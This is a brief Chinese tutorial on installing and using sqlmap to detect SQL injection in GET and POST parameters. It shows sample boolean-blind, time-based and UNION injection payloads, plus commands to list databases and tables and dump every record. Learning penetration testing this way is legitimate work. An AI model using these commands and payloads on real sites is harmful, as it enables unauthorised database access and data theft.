sqlmap工具的正常使用依赖python,所以要先安装python。
python下载地址:https://www.python.org/(下载2.7版本的)
sqlmap下载地址:http://sqlmap.org/
这两个安装好之后,把路径写入环境变量,便于使用。
1. sql注入检测
A.【get方式请求的地址】不需要登录时,使用(sqlmap.py -u “测试访问地址”)即可。
例如:
sqlmap.py -u "localhost:81/goodnews/info?id=64"
B. 【get方式请求的地址】需要登录时,使用(sqlmap.py -u “测试访问地址”--cookie="从浏览器调试中复制出cookie值")
如果注入成功的话,会显示注入方法,例如:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=60 AND 4982=4982
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=60 AND SLEEP(5)
Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: id=-8952 UNION ALL SELECT NULL,CONCAT(0x716b787071,0x5467584242446b6d71564e734e4e57484a564f6a6f6c55517444446f58655476496b565172694d74,0x7178766271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ZefZ
C. 【post方式请求的地址】需要登录时,使用(sqlmap.py -u “测试访问地址”--cookie="从浏览器调试中复制出cookie值" --data="浏览器调试中获取(如下)")注入;
如上几种方法,一旦注入成功,那么接下来就可以获取数据库信息了
(sqlmap.py -u “测试访问地址”--dbs):
更甚者可以获取所有数据表(sqlmap.py -u “测试访问地址”--tables):
还可以获取所有记录(sqlmap.py -u “测试访问地址”--dump);
当然,还有许多其他的命令用法,可以参考sqlmap的文档进行学习。